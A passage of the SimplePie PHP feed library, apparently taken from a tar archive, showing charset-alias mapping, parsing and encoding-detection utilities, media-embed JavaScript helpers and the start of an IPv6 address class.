'ccsid1148': case 'cp1148': case 'ebcdicinternational500euro': case 'ibm1148': return 'IBM01148'; case 'ccsid1149': case 'cp1149': case 'ebcdicis871euro': case 'ibm1149': return 'IBM01149'; case 'csiso143iecp271': case 'iecp271': case 'isoir143': return 'IEC_P27-1'; case 'csiso49inis': case 'inis': case 'isoir49': return 'INIS'; case 'csiso50inis8': case 'inis8': case 'isoir50': return 'INIS-8'; case 'csiso51iniscyrillic': case 'iniscyrillic': case 'isoir51': return 'INIS-cyrillic'; case 'csinvariant': case 'invariant': return 'INVARIANT'; case 'iso2022cn': return 'ISO-2022-CN'; case 'iso2022cnext': return 'ISO-2022-CN-EXT'; case 'csiso2022jp': case 'iso2022jp': return 'ISO-2022-JP'; case 'csiso2022jp2': case 'iso2022jp2': return 'ISO-2022-JP-2'; case 'csiso2022kr': case 'iso2022kr': return 'ISO-2022-KR'; case 'cswindows30latin1': case 'iso88591windows30latin1': return 'ISO-8859-1-Windows-3.0-Latin-1'; case 'cswindows31latin1': case 'iso88591windows31latin1': return 'ISO-8859-1-Windows-3.1-Latin-1'; case 'csisolatin2': case 'iso88592': case 'iso885921987': case 'isoir101': case 'l2': case 'latin2': return 'ISO-8859-2'; case 'cswindows31latin2': case 'iso88592windowslatin2': return 'ISO-8859-2-Windows-Latin-2'; case 'csisolatin3': case 'iso88593': case 'iso885931988': case 'isoir109': case 'l3': case 'latin3': return 'ISO-8859-3'; case 'csisolatin4': case 'iso88594': case 'iso885941988': case 'isoir110': case 'l4': case 'latin4': return 'ISO-8859-4'; case 'csisolatincyrillic': case 'cyrillic': case 'iso88595': case 'iso885951988': case 'isoir144': return 'ISO-8859-5'; case 'arabic': case 'asmo708': case 'csisolatinarabic': case 'ecma114': case 'iso88596': case 'iso885961987': case 'isoir127': return 'ISO-8859-6'; case 'csiso88596e': case 'iso88596e': return 'ISO-8859-6-E'; case 'csiso88596i': case 'iso88596i': return 'ISO-8859-6-I'; case 'csisolatingreek': case 'ecma118': case 'elot928': case 'greek': case 'greek8': case 'iso88597': case 'iso885971987': case 'isoir126': return 'ISO-8859-7'; case 'csisolatinhebrew': case 'hebrew': case 'iso88598': case 'iso885981988': case 'isoir138': return 'ISO-8859-8'; case 'csiso88598e': case 'iso88598e': return 'ISO-8859-8-E'; case 'csiso88598i': case 'iso88598i': return 'ISO-8859-8-I'; case 'cswindows31latin5': case 'iso88599windowslatin5': return 'ISO-8859-9-Windows-Latin-5'; case 'csisolatin6': case 'iso885910': case 'iso8859101992': case 'isoir157': case 'l6': case 'latin6': return 'ISO-8859-10'; case 'iso885913': return 'ISO-8859-13'; case 'iso885914': case 'iso8859141998': case 'isoceltic': case 'isoir199': case 'l8': case 'latin8': return 'ISO-8859-14'; case 'iso885915': case 'latin9': return 'ISO-8859-15'; case 'iso885916': case 'iso8859162001': case 'isoir226': case 'l10': case 'latin10': return 'ISO-8859-16'; case 'iso10646j1': return 'ISO-10646-J-1'; case 'csunicode': case 'iso10646ucs2': return 'ISO-10646-UCS-2'; case 'csucs4': case 'iso10646ucs4': return 'ISO-10646-UCS-4'; case 'csunicodeascii': case 'iso10646ucsbasic': return 'ISO-10646-UCS-Basic'; case 'csunicodelatin1': case 'iso10646': case 'iso10646unicodelatin1': return 'ISO-10646-Unicode-Latin1'; case 'csiso10646utf1': case 'iso10646utf1': return 'ISO-10646-UTF-1'; case 'csiso115481': case 'iso115481': case 'isotr115481': return 'ISO-11548-1'; case 'csiso90': case 'isoir90': return 'iso-ir-90'; case 'csunicodeibm1261': case 'isounicodeibm1261': return 'ISO-Unicode-IBM-1261'; case 'csunicodeibm1264': case 'isounicodeibm1264': return 'ISO-Unicode-IBM-1264'; case 'csunicodeibm1265': case 'isounicodeibm1265': return 'ISO-Unicode-IBM-1265'; case 'csunicodeibm1268': case 'isounicodeibm1268': return 'ISO-Unicode-IBM-1268'; case 'csunicodeibm1276': case 'isounicodeibm1276': return 'ISO-Unicode-IBM-1276'; case 'csiso646basic1983': case 'iso646basic1983': case 'ref': return 'ISO_646.basic:1983'; case 'csiso2intlrefversion': case 'irv': case 'iso646irv1983': case 'isoir2': return 'ISO_646.irv:1983'; case 'csiso2033': case 'e13b': case 'iso20331983': case 'isoir98': return 'ISO_2033-1983'; case 'csiso5427cyrillic': case 'iso5427': case 'isoir37': return 'ISO_5427'; case 'iso5427cyrillic1981': case 'iso54271981': case 'isoir54': return 'ISO_5427:1981'; case 'csiso5428greek': case 'iso54281980': case 'isoir55': return 'ISO_5428:1980'; case 'csiso6937add': case 'iso6937225': case 'isoir152': return 'ISO_6937-2-25'; case 'csisotextcomm': case 'iso69372add': case 'isoir142': return 'ISO_6937-2-add'; case 'csiso8859supp': case 'iso8859supp': case 'isoir154': case 'latin125': return 'ISO_8859-supp'; case 'csiso10367box': case 'iso10367box': case 'isoir155': return 'ISO_10367-box'; case 'csiso15italian': case 'iso646it': case 'isoir15': case 'it': return 'IT'; case 'csiso13jisc6220jp': case 'isoir13': case 'jisc62201969': case 'jisc62201969jp': case 'katakana': case 'x2017': return 'JIS_C6220-1969-jp'; case 'csiso14jisc6220ro': case 'iso646jp': case 'isoir14': case 'jisc62201969ro': case 'jp': return 'JIS_C6220-1969-ro'; case 'csiso42jisc62261978': case 'isoir42': case 'jisc62261978': return 'JIS_C6226-1978'; case 'csiso87jisx208': case 'isoir87': case 'jisc62261983': case 'jisx2081983': case 'x208': return 'JIS_C6226-1983'; case 'csiso91jisc62291984a': case 'isoir91': case 'jisc62291984a': case 'jpocra': return 'JIS_C6229-1984-a'; case 'csiso92jisc62991984b': case 'iso646jpocrb': case 'isoir92': case 'jisc62291984b': case 'jpocrb': return 'JIS_C6229-1984-b'; case 'csiso93jis62291984badd': case 'isoir93': case 'jisc62291984badd': case 'jpocrbadd': return 'JIS_C6229-1984-b-add'; case 'csiso94jis62291984hand': case 'isoir94': case 'jisc62291984hand': case 'jpocrhand': return 'JIS_C6229-1984-hand'; case 'csiso95jis62291984handadd': case 'isoir95': case 'jisc62291984handadd': case 'jpocrhandadd': return 'JIS_C6229-1984-hand-add'; case 'csiso96jisc62291984kana': case 'isoir96': case 'jisc62291984kana': return 'JIS_C6229-1984-kana'; case 'csjisencoding': case 'jisencoding': return 'JIS_Encoding'; case 'cshalfwidthkatakana': case 'jisx201': case 'x201': return 'JIS_X0201'; case 'csiso159jisx2121990': case 'isoir159': case 'jisx2121990': case 'x212': return 'JIS_X0212-1990'; case 'csiso141jusib1002': case 'iso646yu': case 'isoir141': case 'js': case 'jusib1002': case 'yu': return 'JUS_I.B1.002'; case 'csiso147macedonian': case 'isoir147': case 'jusib1003mac': case 'macedonian': return 'JUS_I.B1.003-mac'; case 'csiso146serbian': case 'isoir146': case 'jusib1003serb': case 'serbian': return 'JUS_I.B1.003-serb'; case 'koi7switched': return 'KOI7-switched'; case 'cskoi8r': case 'koi8r': return 'KOI8-R'; case 'koi8u': return 'KOI8-U'; case 'csksc5636': case 'iso646kr': case 'ksc5636': return 'KSC5636'; case 'cskz1048': case 'kz1048': case 'rk1048': case 'strk10482002': return 'KZ-1048'; case 'csiso19latingreek': case 'isoir19': case 'latingreek': return 'latin-greek'; case 'csiso27latingreek1': case 'isoir27': case 'latingreek1': return 'Latin-greek-1'; case 'csiso158lap': case 'isoir158': case 'lap': case 'latinlap': return 'latin-lap'; case 'csmacintosh': case 'mac': case 'macintosh': return 'macintosh'; case 'csmicrosoftpublishing': case 'microsoftpublishing': return 'Microsoft-Publishing'; case 'csmnem': case 'mnem': return 'MNEM'; case 'csmnemonic': case 'mnemonic': return 'MNEMONIC'; case 'csiso86hungarian': case 'hu': case 'iso646hu': case 'isoir86': case 'msz77953': return 'MSZ_7795.3'; case 'csnatsdano': case 'isoir91': case 'natsdano': return 'NATS-DANO'; case 'csnatsdanoadd': case 'isoir92': case 'natsdanoadd': return 'NATS-DANO-ADD'; case 'csnatssefi': case 'isoir81': case 'natssefi': return 'NATS-SEFI'; case 'csnatssefiadd': case 'isoir82': case 'natssefiadd': return 'NATS-SEFI-ADD'; case 'csiso151cuba': case 'cuba': case 'iso646cu': case 'isoir151': case 'ncnc1081': return 'NC_NC00-10:81'; case 'csiso69french': case 'fr': case 'iso646fr': case 'isoir69': case 'nfz62010': return 'NF_Z_62-010'; case 'csiso25french': case 'iso646fr1': case 'isoir25': case 'nfz620101973': return 'NF_Z_62-010_(1973)'; case 'csiso60danishnorwegian': case 'csiso60norwegian1': case 'iso646no': case 'isoir60': case 'no': case 'ns45511': return 'NS_4551-1'; case 'csiso61norwegian2': case 'iso646no2': case 'isoir61': case 'no2': case 'ns45512': return 'NS_4551-2'; case 'osdebcdicdf3irv': return 'OSD_EBCDIC_DF03_IRV'; case 'osdebcdicdf41': return 'OSD_EBCDIC_DF04_1'; case 'osdebcdicdf415': return 'OSD_EBCDIC_DF04_15'; case 'cspc8danishnorwegian': case 'pc8danishnorwegian': return 'PC8-Danish-Norwegian'; case 'cspc8turkish': case 'pc8turkish': return 'PC8-Turkish'; case 'csiso16portuguese': case 'iso646pt': case 'isoir16': case 'pt': return 'PT'; case 'csiso84portuguese2': case 'iso646pt2': case 'isoir84': case 'pt2': return 'PT2'; case 'cp154': case 'csptcp154': case 'cyrillicasian': case 'pt154': case 'ptcp154': return 'PTCP154'; case 'scsu': return 'SCSU'; case 'csiso10swedish': case 'fi': case 'iso646fi': case 'iso646se': case 'isoir10': case 'se': case 'sen850200b': return 'SEN_850200_B'; case 'csiso11swedishfornames': case 'iso646se2': case 'isoir11': case 'se2': case 'sen850200c': return 'SEN_850200_C'; case 'csiso102t617bit': case 'isoir102': case 't617bit': return 'T.61-7bit'; case 'csiso103t618bit': case 'isoir103': case 't61': case 't618bit': return 'T.61-8bit'; case 'csiso128t101g2': case 'isoir128': case 't101g2': return 'T.101-G2'; case 'cstscii': case 'tscii': return 'TSCII'; case 'csunicode11': case 'unicode11': return 'UNICODE-1-1'; case 'csunicode11utf7': case 'unicode11utf7': return 'UNICODE-1-1-UTF-7'; case 'csunknown8bit': case 'unknown8bit': return 'UNKNOWN-8BIT'; case 'ansix341968': case 'ansix341986': case 'ascii': case 'cp367': case 'csascii': case 'ibm367': case 'iso646irv1991': case 'iso646us': case 'isoir6': case 'us': case 'usascii': return 'US-ASCII'; case 'csusdk': case 'usdk': return 'us-dk'; case 'utf7': return 'UTF-7'; case 'utf8': return 'UTF-8'; case 'utf16': return 'UTF-16'; case 'utf16be': return 'UTF-16BE'; case 'utf16le': return 'UTF-16LE'; case 'utf32': return 'UTF-32'; case 'utf32be': return 'UTF-32BE'; case 'utf32le': return 'UTF-32LE'; case 'csventurainternational': case 'venturainternational': return 'Ventura-International'; case 'csventuramath': case 'venturamath': return 'Ventura-Math'; case 'csventuraus': case 'venturaus': return 'Ventura-US'; case 'csiso70videotexsupp1': case 'isoir70': case 'videotexsuppl': return 'videotex-suppl'; case 'csviqr': case 'viqr': return 'VIQR'; case 'csviscii': case 'viscii': return 'VISCII'; case 'csshiftjis': case 'cswindows31j': case 'mskanji': case 'shiftjis': case 'windows31j': return 'Windows-31J'; case 'iso885911': case 'tis620': return 'windows-874'; case 'cseuckr': case 'csksc56011987': case 'euckr': case 'isoir149': case 'korean': case 'ksc5601': case 'ksc56011987': case 'ksc56011989': case 'windows949': return 'windows-949'; case 'windows1250': return 'windows-1250'; case 'windows1251': return 'windows-1251'; case 'cp819': case 'csisolatin1': case 'ibm819': case 'iso88591': case 'iso885911987': case 'isoir100': case 'l1': case 'latin1': case 'windows1252': return 'windows-1252'; case 'windows1253': return 'windows-1253'; case 'csisolatin5': case 'iso88599': case 'iso885991989': case 'isoir148': case 'l5': case 'latin5': case 'windows1254': return 'windows-1254'; case 'windows1255': return 'windows-1255'; case 'windows1256': return 'windows-1256'; case 'windows1257': return 'windows-1257'; case 'windows1258': return 'windows-1258'; default: return $charset; } } public static function get_curl_version() { if (is_array($curl = curl_version())) { $curl = $curl['version']; } elseif (substr($curl, 0, 5) === 'curl/') { $curl = substr($curl, 5, strcspn($curl, "\x09\x0A\x0B\x0C\x0D", 5)); } elseif (substr($curl, 0, 8) === 'libcurl/') { $curl = substr($curl, 8, strcspn($curl, "\x09\x0A\x0B\x0C\x0D", 8)); } else { $curl = 0; } return $curl; } /** * Strip HTML comments * * @param string $data Data to strip comments from * @return string Comment stripped string */ public static function strip_comments($data) { $output = ''; while (($start = strpos($data, '<!--')) !== false) { $output .= substr($data, 0, $start); if (($end = strpos($data, '-->', $start)) !== false) { $data = substr_replace($data, '', 0, $end + 3); } else { $data = ''; } } return $output . $data; } public static function parse_date($dt) { $parser = SimplePie_Parse_Date::get(); return $parser->parse($dt); } /** * Decode HTML entities * * @deprecated Use DOMDocument instead * @param string $data Input data * @return string Output data */ public static function entities_decode($data) { $decoder = new SimplePie_Decode_HTML_Entities($data); return $decoder->parse(); } /** * Remove RFC822 comments * * @param string $data Data to strip comments from * @return string Comment stripped string */ public static function uncomment_rfc822($string) { $string = (string) $string; $position = 0; $length = strlen($string); $depth = 0; $output = ''; while ($position < $length && ($pos = strpos($string, '(', $position)) !== false) { $output .= substr($string, $position, $pos - $position); $position = $pos + 1; if ($string[$pos - 1] !== '\\') { $depth++; while ($depth && $position < $length) { $position += strcspn($string, '()', $position); if ($string[$position - 1] === '\\') { $position++; continue; } elseif (isset($string[$position])) { switch ($string[$position]) { case '(': $depth++; break; case ')': $depth--; break; } $position++; } else { break; } } } else { $output .= '('; } } $output .= substr($string, $position); return $output; } public static function parse_mime($mime) { if (($pos = strpos($mime, ';')) === false) { return trim($mime); } return trim(substr($mime, 0, $pos)); } public static function atom_03_construct_type($attribs) { if (isset($attribs['']['mode']) && strtolower(trim($attribs['']['mode']) === 'base64')) { $mode = SIMPLEPIE_CONSTRUCT_BASE64; } else { $mode = SIMPLEPIE_CONSTRUCT_NONE; } if (isset($attribs['']['type'])) { switch (strtolower(trim($attribs['']['type']))) { case 'text': case 'text/plain': return SIMPLEPIE_CONSTRUCT_TEXT | $mode; case 'html': case 'text/html': return SIMPLEPIE_CONSTRUCT_HTML | $mode; case 'xhtml': case 'application/xhtml+xml': return SIMPLEPIE_CONSTRUCT_XHTML | $mode; default: return SIMPLEPIE_CONSTRUCT_NONE | $mode; } } return SIMPLEPIE_CONSTRUCT_TEXT | $mode; } public static function atom_10_construct_type($attribs) { if (isset($attribs['']['type'])) { switch (strtolower(trim($attribs['']['type']))) { case 'text': return SIMPLEPIE_CONSTRUCT_TEXT; case 'html': return SIMPLEPIE_CONSTRUCT_HTML; case 'xhtml': return SIMPLEPIE_CONSTRUCT_XHTML; default: return SIMPLEPIE_CONSTRUCT_NONE; } } return SIMPLEPIE_CONSTRUCT_TEXT; } public static function atom_10_content_construct_type($attribs) { if (isset($attribs['']['type'])) { $type = strtolower(trim($attribs['']['type'])); switch ($type) { case 'text': return SIMPLEPIE_CONSTRUCT_TEXT; case 'html': return SIMPLEPIE_CONSTRUCT_HTML; case 'xhtml': return SIMPLEPIE_CONSTRUCT_XHTML; } if (in_array(substr($type, -4), array('+xml', '/xml')) || substr($type, 0, 5) === 'text/') { return SIMPLEPIE_CONSTRUCT_NONE; } else { return SIMPLEPIE_CONSTRUCT_BASE64; } } return SIMPLEPIE_CONSTRUCT_TEXT; } public static function is_isegment_nz_nc($string) { return (bool) preg_match('/^([A-Za-z0-9\-._~\x{A0}-\x{D7FF}\x{F900}-\x{FDCF}\x{FDF0}-\x{FFEF}\x{10000}-\x{1FFFD}\x{20000}-\x{2FFFD}\x{30000}-\x{3FFFD}\x{40000}-\x{4FFFD}\x{50000}-\x{5FFFD}\x{60000}-\x{6FFFD}\x{70000}-\x{7FFFD}\x{80000}-\x{8FFFD}\x{90000}-\x{9FFFD}\x{A0000}-\x{AFFFD}\x{B0000}-\x{BFFFD}\x{C0000}-\x{CFFFD}\x{D0000}-\x{DFFFD}\x{E1000}-\x{EFFFD}!$&\'()*+,;=@]|(%[0-9ABCDEF]{2}))+$/u', $string); } public static function space_separated_tokens($string) { $space_characters = "\x20\x09\x0A\x0B\x0C\x0D"; $string_length = strlen($string); $position = strspn($string, $space_characters); $tokens = array(); while ($position < $string_length) { $len = strcspn($string, $space_characters, $position); $tokens[] = substr($string, $position, $len); $position += $len; $position += strspn($string, $space_characters, $position); } return $tokens; } /** * Converts a unicode codepoint to a UTF-8 character * * @static * @param int $codepoint Unicode codepoint * @return string UTF-8 character */ public static function codepoint_to_utf8($codepoint) { $codepoint = (int) $codepoint; if ($codepoint < 0) { return false; } else if ($codepoint <= 0x7f) { return chr($codepoint); } else if ($codepoint <= 0x7ff) { return chr(0xc0 | ($codepoint >> 6)) . chr(0x80 | ($codepoint & 0x3f)); } else if ($codepoint <= 0xffff) { return chr(0xe0 | ($codepoint >> 12)) . chr(0x80 | (($codepoint >> 6) & 0x3f)) . chr(0x80 | ($codepoint & 0x3f)); } else if ($codepoint <= 0x10ffff) { return chr(0xf0 | ($codepoint >> 18)) . chr(0x80 | (($codepoint >> 12) & 0x3f)) . chr(0x80 | (($codepoint >> 6) & 0x3f)) . chr(0x80 | ($codepoint & 0x3f)); } // U+FFFD REPLACEMENT CHARACTER return "\xEF\xBF\xBD"; } /** * Similar to parse_str() * * Returns an associative array of name/value pairs, where the value is an * array of values that have used the same name * * @static * @param string $str The input string. * @return array */ public static function parse_str($str) { $return = array(); $str = explode('&', $str); foreach ($str as $section) { if (strpos($section, '=') !== false) { list($name, $value) = explode('=', $section, 2); $return[urldecode($name)][] = urldecode($value); } else { $return[urldecode($section)][] = null; } } return $return; } /** * Detect XML encoding, as per XML 1.0 Appendix F.1 * * @todo Add support for EBCDIC * @param string $data XML data * @param SimplePie_Registry $registry Class registry * @return array Possible encodings */ public static function xml_encoding($data, $registry) { // UTF-32 Big Endian BOM if (substr($data, 0, 4) === "\x00\x00\xFE\xFF") { $encoding[] = 'UTF-32BE'; } // UTF-32 Little Endian BOM elseif (substr($data, 0, 4) === "\xFF\xFE\x00\x00") { $encoding[] = 'UTF-32LE'; } // UTF-16 Big Endian BOM elseif (substr($data, 0, 2) === "\xFE\xFF") { $encoding[] = 'UTF-16BE'; } // UTF-16 Little Endian BOM elseif (substr($data, 0, 2) === "\xFF\xFE") { $encoding[] = 'UTF-16LE'; } // UTF-8 BOM elseif (substr($data, 0, 3) === "\xEF\xBB\xBF") { $encoding[] = 'UTF-8'; } // UTF-32 Big Endian Without BOM elseif (substr($data, 0, 20) === "\x00\x00\x00\x3C\x00\x00\x00\x3F\x00\x00\x00\x78\x00\x00\x00\x6D\x00\x00\x00\x6C") { if ($pos = strpos($data, "\x00\x00\x00\x3F\x00\x00\x00\x3E")) { $parser = $registry->create('XML_Declaration_Parser', array(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 20), 'UTF-32BE', 'UTF-8'))); if ($parser->parse()) { $encoding[] = $parser->encoding; } } $encoding[] = 'UTF-32BE'; } // UTF-32 Little Endian Without BOM elseif (substr($data, 0, 20) === "\x3C\x00\x00\x00\x3F\x00\x00\x00\x78\x00\x00\x00\x6D\x00\x00\x00\x6C\x00\x00\x00") { if ($pos = strpos($data, "\x3F\x00\x00\x00\x3E\x00\x00\x00")) { $parser = $registry->create('XML_Declaration_Parser', array(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 20), 'UTF-32LE', 'UTF-8'))); if ($parser->parse()) { $encoding[] = $parser->encoding; } } $encoding[] = 'UTF-32LE'; } // UTF-16 Big Endian Without BOM elseif (substr($data, 0, 10) === "\x00\x3C\x00\x3F\x00\x78\x00\x6D\x00\x6C") { if ($pos = strpos($data, "\x00\x3F\x00\x3E")) { $parser = $registry->create('XML_Declaration_Parser', array(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 10), 'UTF-16BE', 'UTF-8'))); if ($parser->parse()) { $encoding[] = $parser->encoding; } } $encoding[] = 'UTF-16BE'; } // UTF-16 Little Endian Without BOM elseif (substr($data, 0, 10) === "\x3C\x00\x3F\x00\x78\x00\x6D\x00\x6C\x00") { if ($pos = strpos($data, "\x3F\x00\x3E\x00")) { $parser = $registry->create('XML_Declaration_Parser', array(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 10), 'UTF-16LE', 'UTF-8'))); if ($parser->parse()) { $encoding[] = $parser->encoding; } } $encoding[] = 'UTF-16LE'; } // US-ASCII (or superset) elseif (substr($data, 0, 5) === "\x3C\x3F\x78\x6D\x6C") { if ($pos = strpos($data, "\x3F\x3E")) { $parser = $registry->create('XML_Declaration_Parser', array(substr($data, 5, $pos - 5))); if ($parser->parse()) { $encoding[] = $parser->encoding; } } $encoding[] = 'UTF-8'; } // Fallback to UTF-8 else { $encoding[] = 'UTF-8'; } return $encoding; } public static function output_javascript() { if (function_exists('ob_gzhandler')) { ob_start('ob_gzhandler'); } header('Content-type: text/javascript; charset: UTF-8'); header('Cache-Control: must-revalidate'); header('Expires: ' . gmdate('D, d M Y H:i:s', time() + 604800) . ' GMT'); // 7 days ?> function embed_quicktime(type, bgcolor, width, height, link, placeholder, loop) { if (placeholder != '') { document.writeln('<embed type="'+type+'" style="cursor:hand; cursor:pointer;" href="'+link+'" src="'+placeholder+'" width="'+width+'" height="'+height+'" autoplay="false" target="myself" controller="false" loop="'+loop+'" scale="aspect" bgcolor="'+bgcolor+'" pluginspage="http://www.apple.com/quicktime/download/"></embed>'); } else { document.writeln('<embed type="'+type+'" style="cursor:hand; cursor:pointer;" src="'+link+'" width="'+width+'" height="'+height+'" autoplay="false" target="myself" controller="true" loop="'+loop+'" scale="aspect" bgcolor="'+bgcolor+'" pluginspage="http://www.apple.com/quicktime/download/"></embed>'); } } function embed_flash(bgcolor, width, height, link, loop, type) { document.writeln('<embed src="'+link+'" pluginspage="http://www.macromedia.com/go/getflashplayer" type="'+type+'" quality="high" width="'+width+'" height="'+height+'" bgcolor="'+bgcolor+'" loop="'+loop+'"></embed>'); } function embed_flv(width, height, link, placeholder, loop, player) { document.writeln('<embed src="'+player+'" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" quality="high" width="'+width+'" height="'+height+'" wmode="transparent" flashvars="file='+link+'&autostart=false&repeat='+loop+'&showdigits=true&showfsbutton=false"></embed>'); } function embed_wmedia(width, height, link) { document.writeln('<embed type="application/x-mplayer2" src="'+link+'" autosize="1" width="'+width+'" height="'+height+'" showcontrols="1" showstatusbar="0" showdisplay="0" autostart="0"></embed>'); } <?php } /** * Get the SimplePie build timestamp * * Uses the git index if it exists, otherwise uses the modification time * of the newest file. */ public static function get_build() { $root = dirname(dirname(__FILE__)); if (file_exists($root . '/.git/index')) { return filemtime($root . '/.git/index'); } elseif (file_exists($root . '/SimplePie')) { $time = 0; foreach (glob($root . '/SimplePie/*.php') as $file) { if (($mtime = filemtime($file)) > $time) { $time = $mtime; } } return $time; } elseif (file_exists(dirname(__FILE__) . '/Core.php')) { return filemtime(dirname(__FILE__) . '/Core.php'); } return filemtime(__FILE__); } /** * Format debugging information */ public static function debug(&$sp) { $info = 'SimplePie ' . SIMPLEPIE_VERSION . ' Build ' . SIMPLEPIE_BUILD . "\n"; $info .= 'PHP ' . PHP_VERSION . "\n"; if ($sp->error() !== null) { $info .= 'Error occurred: ' . $sp->error() . "\n"; } else { $info .= "No error found.\n"; } $info .= "Extensions:\n"; $extensions = array('pcre', 'curl', 'zlib', 'mbstring', 'iconv', 'xmlreader', 'xml'); foreach ($extensions as $ext) { if (extension_loaded($ext)) { $info .= " $ext loaded\n"; switch ($ext) { case 'pcre': $info .= ' Version ' . PCRE_VERSION . "\n"; break; case 'curl': $version = curl_version(); $info .= ' Version ' . $version['version'] . "\n"; break; case 'mbstring': $info .= ' Overloading: ' . mb_get_info('func_overload') . "\n"; break; case 'iconv': $info .= ' Version ' . ICONV_VERSION . "\n"; break; case 'xml': $info .= ' Version ' . LIBXML_DOTTED_VERSION . "\n"; break; } } else { $info .= " $ext not loaded\n"; } } return $info; } public static function silence_errors($num, $str) { // No-op } } ��������������������������SimplePie/Net/IPv6.php������������������������������������������������������������������������������0000644�����������������00000016505�15120262027�0010462 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue * @author Ryan Parman * @author Sam Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Class to validate and to work with IPv6 addresses. * * @package SimplePie * @subpackage HTTP * @copyright 2003-2005 The PHP Group * @license http://www.opensource.org/licenses/bsd-license.php * @link http://pear.php.net/package/Net_IPv6 * @author Alexander Merz <alexander.merz@web.de> * @author elfrink at introweb dot nl * @author Josh Peck <jmp at joshpeck dot org> * @author Sam Sneddon <geoffers@gmail.com> */ class SimplePie_Net_IPv6 { /** * Uncompresses an IPv6 address * * RFC 4291 allows you to compress concecutive zero pieces in an address to * '::'. This method expects a valid IPv6 address and expands the '::' to * the required number of zero pieces. * * Example: FF01::101 -> FF01:0:0:0:0:0:0:101 * ::1 -> 0:0:0:0:0:0:0:1 * * @author Alexander Merz <alexander.merz@web.de> * @author elfrink at introweb dot nl * @author Josh Peck <jmp at joshpeck dot org> * @copyright 2003-2005 The PHP Group * @license http://www.opensource.org/licenses/bsd-license.php * @param string $ip An IPv6 address * @return string The uncompressed IPv6 address */ public static function uncompress($ip) { $c1 = -1; $c2 = -1; if (substr_count($ip, '::') === 1) { list($ip1, $ip2) = explode('::', $ip); if ($ip1 === '') { $c1 = -1; } else { $c1 = substr_count($ip1, ':'); } if ($ip2 === '') { $c2 = -1; } else { $c2 = substr_count($ip2, ':'); } if (strpos($ip2, '.') !== false) { $c2++; } // :: if ($c1 === -1 && $c2 === -1) { $ip = '0:0:0:0:0:0:0:0'; } // ::xxx else if ($c1 === -1) { $fill = str_repeat('0:', 7 - $c2); $ip = str_replace('::', $fill, $ip); } // xxx:: else if ($c2 === -1) { $fill = str_repeat(':0', 7 - $c1); $ip = str_replace('::', $fill, $ip); } // xxx::xxx else { $fill = ':' . str_repeat('0:', 6 - $c2 - $c1); $ip = str_replace('::', $fill, $ip); } } return $ip; } /** * Compresses an IPv6 address * * RFC 4291 allows you to compress concecutive zero pieces in an address to * '::'. This method expects a valid IPv6 address and compresses consecutive * zero pieces to '::'. * * Example: FF01:0:0:0:0:0:0:101 -> FF01::101 * 0:0:0:0:0:0:0:1 -> ::1 * * @see uncompress() * @param string $ip An IPv6 address * @return string The compressed IPv6 address */ public static function compress($ip) { // Prepare the IP to be compressed $ip = self::uncompress($ip); $ip_parts = self::split_v6_v4($ip); // Replace all leading zeros $ip_parts[0] = preg_replace('/(^|:)0+([0-9])/', '\1\2', $ip_parts[0]); // Find bunches of zeros if (preg_match_all('/(?:^|:)(?:0(?::|$))+/', $ip_parts[0], $matches, PREG_OFFSET_CAPTURE)) { $max = 0; $pos = null; foreach ($matches[0] as $match) { if (strlen($match[0]) > $max) { $max = strlen($match[0]); $pos = $match[1]; } } $ip_parts[0] = substr_replace($ip_parts[0], '::', $pos, $max); } if ($ip_parts[1] !== '') { return implode(':', $ip_parts); } return $ip_parts[0]; } /** * Splits an IPv6 address into the IPv6 and IPv4 representation parts * * RFC 4291 allows you to represent the last two parts of an IPv6 address * using the standard IPv4 representation * * Example: 0:0:0:0:0:0:13.1.68.3 * 0:0:0:0:0:FFFF:129.144.52.38 * * @param string $ip An IPv6 address * @return array [0] contains the IPv6 represented part, and [1] the IPv4 represented part */ private static function split_v6_v4($ip) { if (strpos($ip, '.') !== false) { $pos = strrpos($ip, ':'); $ipv6_part = substr($ip, 0, $pos); $ipv4_part = substr($ip, $pos + 1); return array($ipv6_part, $ipv4_part); } return array($ip, ''); } /** * Checks an IPv6 address * * Checks if the given IP is a valid IPv6 address * * @param string $ip An IPv6 address * @return bool true if $ip is a valid IPv6 address */ public static function check_ipv6($ip) { $ip = self::uncompress($ip); list($ipv6, $ipv4) = self::split_v6_v4($ip); $ipv6 = explode(':', $ipv6); $ipv4 = explode('.', $ipv4); if (count($ipv6) === 8 